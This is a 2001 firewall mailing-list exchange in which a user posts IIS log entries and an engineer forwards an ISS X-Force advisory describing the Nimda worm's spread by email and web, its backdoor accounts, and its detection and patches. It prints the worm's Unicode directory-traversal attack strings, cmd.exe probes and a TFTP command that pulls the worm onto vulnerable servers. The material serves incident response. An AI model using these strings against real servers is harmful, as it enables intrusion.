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RE: [FW1] New worm on the road?



Patrick,
 
    Yes there is a new worm, named Nimda, according to ISS. Here follows a description
 I got about it.

ISS X-Force has captured a new Internet worm, known as Nimda, that contains much of the functionality of Code Red worm and itsderivatives. Nimda attempts to identify vulnerable Microsoft IIS servers and deface them, and attempts to infect additional systems. Nimda is potentially more dangerous than Code Red or Code Blue, because it includes a powerful e-mail distribution component. Code Red was limited to infecting Web servers running IIS. Nimda, on the other hand, can infect any Windows system, and then distribute further by emailing copies of itself to individuals in MAPI (Messaging Application Programming Interface) address books, or by identifying and infecting vulnerable IIS servers. This distinction means that there may be millions of infections. Indications of severe network outages related to the massive amount of network traffic this worm generates have already been reported.

Description:

Nimda is vastly different from Code Red in how it propagates. Nimda takes advantage of standard e-mail distribution techniques to broaden the eligible pool of target hosts. Instead of only attacking Web servers with Web server vulnerabilities, Nimda is designed to propagate via spoofed e-mail. The e-mail is spoofed to appear as if it came from trusted sources. Nimda relies on extensive local propagation once a system is infected. It replaces .dll, .eml, .nws files on all shared drives. It also appends itself to all .htm, .html, and .asp files on the infected system. This also allows the worm to spread to remote users when they access Web pages on infected servers.

IIS Scanning and Propagation

Nimda will use several Unicode Web Folder Traversal vulnerability attack strings to probe for vulnerable IIS systems. The attack strings used are as follows:

/scripts

/MSADC

/scripts/..%255c..

/_vti_bin/..%255c../..%255c../..%255c..

/_mem_bin/..%255c../..%255c../..%255c..

/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..

/scripts/..%c1%1c..

/scripts/..%c0%2f..

/scripts/..%c0%af..

/scripts/..%c1%9c..

/scripts/..%%35%63..

/scripts/..%%35c..

/scripts/..%25%35%63..

/scripts/..%252f..

/root.exe?/c+

(root.exe is the backdoor that Code Red II installed on infected servers)

Nimda appends "/winnt/system32/cmd.exe?/c+dir" to the end of each attack string and inspects output to determine if the target system is vulnerable. If a vulnerable IIS Web server is found, Nimda will append the following command to an attack string to upload a copy of the worm to the vulnerable server:

tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20

E-mail Propagation

Nimda will read the e-mail address books on the infected system. It will e-mail a copy of itself to each address in the list. The Subject: lines of the e-mails containing the worm will vary.

Backdoor Functionality

Once a computer is infected with Nimda, the worm takes steps to  "backdoor" the infected system, by creating accounts that could provide further access to the system by remote attackers. Nimda will create a "guest" account if it doesn't already exist, or activate it if it has been disabled. It will also add the guest user to the "Guests" and  "Administrators" groups.Nimda will also open the "C:" share to the Internet, giving full access to the C: drive of the infected computer. Attackers from anywhere on the Internet may access this share with full read/write access, once this share is opened.

Recommendations:

ISS RealSecure detects the Nimda worm through the HTTP_IIS_URL_Decoding signature. This signature was included in Network Sensor X-Press Update 3.1 and Server Sensor 6.0.1. RealSecure Network Sensor also detects the Nimda worm with the HTTP_Windows_Executable signature. ISS BlackICE products will the trigger the "2000639 - HTTP UTF8 backtick" and "2002595 - IIS system32 command" events. ISS Internet Scanner customers can test for this vulnerability using the IisUnicodeTranslation check, which was included in XPU 4.4 (and later updated in XPU 4.8).

ISS System Scanner customers can test for this vulnerability using the MS00-078 check included in XPU 1.13 (#13). ISS X-Force recommends that all users contact their anti-virus vendor for software updates and Nimda removal information.

Microsoft IIS administrators who have not yet installed the patch for the Web Server Folder Traversal vulnerability are encouraged to do so immediately.

For Microsoft IIS 4.0:

http://www.microsoft.com/ntserver/nts/downloads/critical/q269862

For Microsoft IIS 5.0:

http://www.microsoft.com/windows2000/downloads/critical/q269862

The Nimda worm takes advantage of well-known security weaknesses in IIS, as well as a general lack of security awareness among Internet users regarding e-mail attachments. ISS recommends that all IIS administrators apply all security patches immediately and follow published Microsoft IIS Security Checklists. Please refer to the links in the Additional Information section.

 

Additional Information:

ISS X-Force recommends that all Web site administrators review the appropriate IIS Security Checklist from Microsoft, and verify that their IIS Web servers have been configured securely. IIS servers that have been configured securely, using the Checklists, are not vulnerable to many of the recent and widely publicized remote IIS exploits.

The IIS Security Checklists are available at the following locations:

For Microsoft IIS 4.0:

http://www.microsoft.com/technet/itsolutions/security/tools/iischk.asp

For Microsoft IIS 5.0:

http://www.microsoft.com/technet/security/iis5chk.asp

Web site administrators are also strongly encouraged to apply the latest IIS cumulative security patch to prevent Web servers from being compromised by this and other IIS exploits. This patch is available from the following Microsoft Security Bulletin:

http://www.microsoft.com/technet/security/bulletin/MS01-044.asp

Met vriendelijke groeten - Bien à vous - Kind regards

Guy ROELANDTS
EMEA GS Internet Expertise Centre - CCSA & CCSE
Compaq Software Engineer - Belgium
E-mail : [email protected]
Tel: +32(02)729.77.44 (options  3 - 3 - 1)
Fax: +32(02)729.77.65

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-----Original Message-----
From: Patrick Coomans [mailto:[email protected]]
Sent: Tuesday, September 18, 2001 11:36 PM
To: [email protected]
Subject: [FW1] New worm on the road?

Since this evening I am experiencing massive attacks on HTTP (IIS oriented I presume) from many different IP addresses.
 
They all look like:
 
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
 
Is anyone aware that this is some new kind of worm?
Now my FW1 question: can I create a HTTP resource (secure server) that blocks all requests that e.g. have a .EXE in it ?  Or would that slow my FW1's down to much?
 
Any other suggestions for good products that can do HTTP content inspection and that cooperate or can co-exist with fw1 ?
 
 
Thanks,
Patrick
 


 
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